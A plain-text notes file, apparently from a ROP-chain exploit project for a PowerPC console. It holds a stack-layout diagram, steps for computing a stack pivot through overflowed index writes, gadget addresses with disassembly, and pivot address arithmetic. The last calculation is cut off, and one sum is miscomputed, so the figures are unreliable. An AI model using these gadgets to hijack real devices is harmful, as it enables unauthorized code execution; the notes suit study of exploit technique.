ROBChain/ROP-NOTES.txt

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2017-07-31 22:35:28 +02:00
____________
| |
| Stack |
| ******* |
|------------| <---Top
| whatever |
| (0x574) |
|------------|
| |
| 0xC006FA0 |
| |
|------------|
| |
| 0x8 bytes |
| |
|------------|
| |
| to be | This is going to point to lastReturn minus 0x37E4
| determined | startPos + 0x28 - 0x37E4
| |
|------------|
| |
| 0x10 bytes |
| |
|------------|
| |
|stack pivot | Location of stack pivot (should be handled by MSC?)
| position |
| |
|------------|
| |
| 0xC2EAB14 |
| |
|------------|
| |
| lastReturn | Location to jump to before stack pivot takes effect
| |
------------
Calculating stack pivot position:
------------------
* Overflow stack
* Write 0x92 as index
* Store that in globalVarX
* Pop till back in stack
* globalVarX += 0x240
* Overflow stack
* Write -0x8B (FFFFFF75) as index
* Store in globalVarY
* Push globalVarY
* Push all other globalVars in order (to not overwrite the ones we need for later!)
* Push 0s till we get back to the stack
* stack pivot position = globalVarY + 0x30 + script_X (where script_X is the rest of the ROP chain)
stack+0x574 = first return address for the ROP chain
loc 2006FA0 = loading something into r12
will get stack+0x24 as return address
r12 = r1 + 0xC
stackPos += 0x20
.text:02006FA0 lwz r12, 0xC(r1)
.text:02006FA4 addi r3, r1, 8
.text:02006FA8 stw r11, 4(r31)
.text:02006FAC li r4, 2
.text:02006FB0 stw r12, 8(r31)
.text:02006FB4 bl sub_32FF61C
.text:02006FB8 lwz r0, 0x20+arg_4(r1)
.text:02006FBC mtlr r0
.text:02006FC0 lwz r31, 0x1C(r1)
.text:02006FC4 addi r1, r1, 0x20
.text:02006FC8 blr
loc 22EAB24 = stack pivot gadget (or 22EAB1C to get r0 -> mtlr)
37E4 + r12 = returnPosition (aim this at the stack and fire at will)
.text:022EAB14 lwz r0, 0x37E4(r12)
.text:022EAB18 lwz r31, 0x37DC(r12)
.text:022EAB1C mtlr r0
.text:022EAB20 lwz r30, 0x37D8(r12)
.text:022EAB24 lwz r1, 0(r1)
.text:022EAB28 blr
loc 0x200C650 q = load value from stack into r3
r3 = stack+0x8
return address = stack+0x74
.text:0200C650 lwz r3, 0x70+var_68(r1)
.text:0200C654 lmw r27, 0x70+var_14(r1)
.text:0200C658 lwz r0, 0x70+arg_4(r1)
.text:0200C65C mtlr r0
.text:0200C660 addi r1, r1, 0x70
.text:0200C664 blr
r1 = 1124D3D0 at start
with diibugger
---------------
writePos = 0x1124D3D0 + 0x570 + 0x2C = 0x1124D96C
lastPos = writePos + 0x30 - 0x37E4 = 0x1124A1B8
without diibugger
-----------------
writePos = 0x11258208 + 0x570 + 0x2C = 0x113587A4
lastPos = writePos + 0x30 - 0x37E4 =